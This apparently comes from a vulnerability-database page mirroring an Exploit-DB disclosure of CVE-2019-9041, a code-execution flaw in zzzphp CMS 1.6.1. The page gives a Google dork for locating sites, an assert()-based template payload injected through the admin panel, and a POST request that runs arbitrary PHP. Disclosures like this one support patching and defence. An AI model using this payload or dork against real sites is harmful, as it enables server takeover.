Lucene search
K

zzzphp CMS 1.6.1 - Remote Code Execution

🗓️ 25 Feb 2019 00:00:00Reported by Yang ChenglongType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 85 Views

zzzphp CMS 1.6.1 - Remote Code Execution, Dynamic Code Evaluation Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
zzzphp CMS 1.6.1 - Remote Code Execution Vulnerability
25 Feb 201900:00
zdt
0day.today
zzzphp CMS 1.6.1 - Cross-Site Request Forgery Vulnerability
4 Mar 201900:00
zdt
Circl
CVE-2019-9041
25 Feb 201916:32
circl
CNVD
zzzcms zzzphp dynamic code execution vulnerability
26 Feb 201900:00
cnvd
CVE
CVE-2019-9041
23 Feb 201918:00
cve
Cvelist
CVE-2019-9041
23 Feb 201918:00
cvelist
exploitpack
zzzphp CMS 1.6.1 - Cross-Site Request Forgery
4 Mar 201900:00
exploitpack
exploitpack
zzzphp CMS 1.6.1 - Remote Code Execution
25 Feb 201900:00
exploitpack
Nuclei
ZZZCMS 1.6.1 - Remote Code Execution
27 May 202600:33
nuclei
NVD
CVE-2019-9041
23 Feb 201918:29
nvd
Rows per page
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1

# Google Dork: intext:"2015-2019 zzcms.com"

# Date: 24/02/2019

# Exploit Author: Yang Chenglong

# Vendor Homepage: http://www.zzzcms.com/index.html

# Software Link: http://115.29.55.18/zzzphp.zip

# Version: 1.6.1

# Tested on: windows/Linux,iis/apache

# CVE : CVE-2019-9041

Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.

Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:

{if:assert($_POST[x])}phpinfo();{end if}

Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:
[1.png]

Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation